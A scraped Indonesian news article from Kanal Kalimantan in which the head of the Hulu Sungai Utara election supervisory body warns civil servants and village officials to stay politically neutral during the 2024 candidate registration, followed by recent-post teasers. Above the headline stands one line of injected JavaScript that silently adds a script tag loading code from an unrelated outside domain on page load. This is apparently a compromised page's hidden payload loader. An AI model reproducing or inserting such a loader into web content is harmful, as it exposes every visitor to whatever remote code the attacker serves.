(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Bawaslu HSU Ingatkan Netralitas, Marfa’i: ASN Posting Calon di Medsos Pelanggaran!


KANALKALIMANTAN.COM, AMUNTAI – Memasuki tahapan pendaftaran pasangan calon kepala daerah 2024, Badan Pengawas Pemilihan Umum (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) mengingatkan agar pasangan bakal calon bupati dan calon wakil bupati memperhatikan beberapa hal.

Pertama menjaga kondisi lalu lintas seiring adanya pengalihan jalan, kemudian ketertiban, keamanan dan kenyamanan bersama sehingga proses mobilisasi bakal calon pasangan dan pengguna jalan tidak ada yang terganggu.

“Penting lagi netralitas Aparatur Sipil Negara (ASN), kepala desa, aparatur desa, dan pihak-pihak yang wajib netral dalam pilkada,” ungkap Ketua Bawaslu HSU, Marfa’i kepada kanalkalimantan.com, Senin (26/8/2024).

Belakangaan santer kabar bakal bakal ada rombongan pasangan bakal calon yang akan diiringi ratusan pendukung maupun simpatisan. Jangan sampai nantinya ada ASN, Kades, aparat desa dan lain-lain yang harus netral ikut dalam rombongan.

Baca juga: Terus Tanam Pohon di Hutan Kota Perkantoran Pemprov Kalsel

“Netralitas sangat penting dalam Pilkada ini. Pilkada harus taat asas dan taat aturan,” tegasnya.

Bawaslu HSU wanti-wanti agar tidak ada kendaraan dinas yang digunakan untuk kepentingan pasangan calon, baik untuk kepentingan dalam tahapan pendaftaran dan tahapan lainnya di Pilkada. “Kami pastikan ada tindaklanjut, jika itu terjadi,” tegasnya.

Komisioner Bawaslu HSU ini mengingatkan kepada ASN, kades dan aparat desa hingga siapapun yang wajib netral bijak dalam menggunakan media sosial. Khususnya yang berkaitan dengan pasangan calon di Pilkada.

“Artinya, jika ada oknum ASN memposting atau mengunggah salah satu figur calon yang masih berkaitan dengan partai politik, akan diproses sesuai aturan yang berlaku,” terangnya.

Baca juga: Jalan Banjarbaru-Batulicin Diresmikan, Waktu Tempuh ke Tanbu Cuma 2,5-3 Jam

Dia juga mengajak seluruh lapisan masyarakat berpatisipasi melakukan pengawasan sehingga proses tahapan Pilkada berjalan sebagaimana mestinya.

Masa pendaftaran calon Bupati dan Wakil Bupati HSU sendiri ini berlangsung selama tiga hari 27 sampai dengan 29 Agustus 2024 di kantor KPU HSU. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

6 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

8 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

8 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

9 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

10 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

10 jam ago